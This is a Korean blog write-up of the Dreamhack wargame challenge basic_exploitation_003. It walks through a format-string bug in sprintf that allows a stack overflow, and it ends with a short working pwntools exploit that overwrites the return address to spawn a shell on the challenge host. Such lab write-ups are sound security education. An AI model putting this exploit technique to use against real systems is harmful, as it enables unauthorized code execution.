basic_exploitation_003 풀이

2021. 8. 4. 00:01Dreamhack Wargame

728x90

문제 제목
문제 정보
문제에서 주어진 파일

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
    puts("TIME OUT");
    exit(-1);
}
void initialize() {
    setvbuf(stdin, NULL, _IONBF, 0);
    setvbuf(stdout, NULL, _IONBF, 0);
    signal(SIGALRM, alarm_handler);
    alarm(30);
}
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}

 

크기 0x80의 힙 버퍼 heap_buf를 선언합니다.

그리고 크기 0x90의 char형 배열 stack_buf를 선언합니다.

그 후에 initialize()를 호출합니다.

 

이번 문제 역시 initialize(), get_shell(), alarm_handler() 함수들은 한 줄로 정리하겠습니다.

 

initialize() : 30초가 지나면 alarm_handler() 함수에 시그널을 보냅니다.
alarm_handler() : "TIME OUT"이라는 문자열을 출력하고 프로그램을 종료합니다.
get_shell() : 쉘을 따주는 함수입니다.

 

그다음 read() 함수로 heap_buf를 0x80만큼 입력받고 *sprintf() 함수로 stack_buf에 heap_buf를 집어넣습니다.

 

* 배열로 이루어진 버퍼에 일련의 서식 문자열을 입력하는 함수 (형식 : sprintf(char buf, format string, argument string))

 

그런데 여기서 보이는 취약점이 하나 있습니다.

sprintf의 인자를 보면 format string이 빠져있는 걸 볼 수 있습니다.

이 부분에서 FSB 취약점이 발생합니다.

 

그 후에 printf() 함수로 stack_buf를 문자열 타입으로 출력합니다.

 

코드 분석은 다 끝났고, FSB 취약점을 이용해서 문제를 풀어야 하는 것도 알겠는데....

get_shell() 함수의 주소를 어떻게 이용해야 문제가 풀릴지는 잘 떠오르지 않았습니다.

sprintf(), printf() 둘 중 하나에 해답이 있을거라 생각하고 조금 구글링을 했습니다.

 

[ printf, fprintf, sprintf - 하루히즘 ]

 

printf, fprintf, sprintf는 어떤 차이일까?

C/C++ 에서는 여러가지 출력 방법이 있다. C언어의 printf부터 C++의 cin까지 다양한 함수, 객체와 메소드가 있지만 그 중 서식화된 출력에 유용하게 사용할 수 있었던 여러가지 함수를 소개해 보려

haruhiism.tistory.com

 

하루히즘님 감사합니다.... 덕분에 아이디어를 떠올렸습니다.

 

우선 이 코드에는 취약점이 FSB만 존재하는 것이 아니였습니다.

아까 read() 함수를 받을 때 딱 heap_buf의 크기만큼 받아서 BOF 취약점은 터지지 않을 줄 알았습니다.

그러나 BOF는 sprintf() 부분에서 발생하고 있었습니다.

 

이 코드를 실행할 때, read() 부분에 %9c를 입력하면 이를 9byte가 아닌 '%', '9', 'c'의 3byte로 인식합니다.

그리고 sprintf()로 stack_buf에 복사를 할 때 format string이 없기 때문에 이를 9byte로 인식하게 됩니다.

 

그러므로 EBP에서 stack_buf의 거리 + sfp만큼 입력을 넣어 BOF를 일으킵니다.

그리고 ret에 get_shell() 함수의 주소를 넣으면 문제가 풀릴 것 같습니다.

 

EBP ~ stack_buf 거리 -> 0x98 = 152(10진수)

from pwn import *

p=remote("host1.dreamhack.games",20962)
e=ELF('./basic_exploitation_003')

getshell=e.symbols['get_shell']

pay="%156c"+p32(getshell) #152 + sfp(4) = 156

p.sendline(pay)

p.interactive()

FLAG 획득 완료
문제 풀이 성공

아이디어 떠올리는 게 헬이였습니다.

"암만 봐도 FSB 문젠데 왜 Reference에 Return Address Overwrite가 써져있지"

이러면서 문제 풀이를 시작하지 말았어야 했습니다......

 

코드 길이를 보니 좀 허무하지만 그래도 뿌듯하네요.

728x90

'Dreamhack Wargame' 카테고리의 다른 글

xss-2 풀이  (0) 2021.08.17
proxy-1 풀이  (0) 2021.08.11
basic_heap_overflow 풀이  (0) 2021.08.03
basic_exploitation_002 풀이  (0) 2021.08.02
basic_rop_x64 풀이  (0) 2021.08.01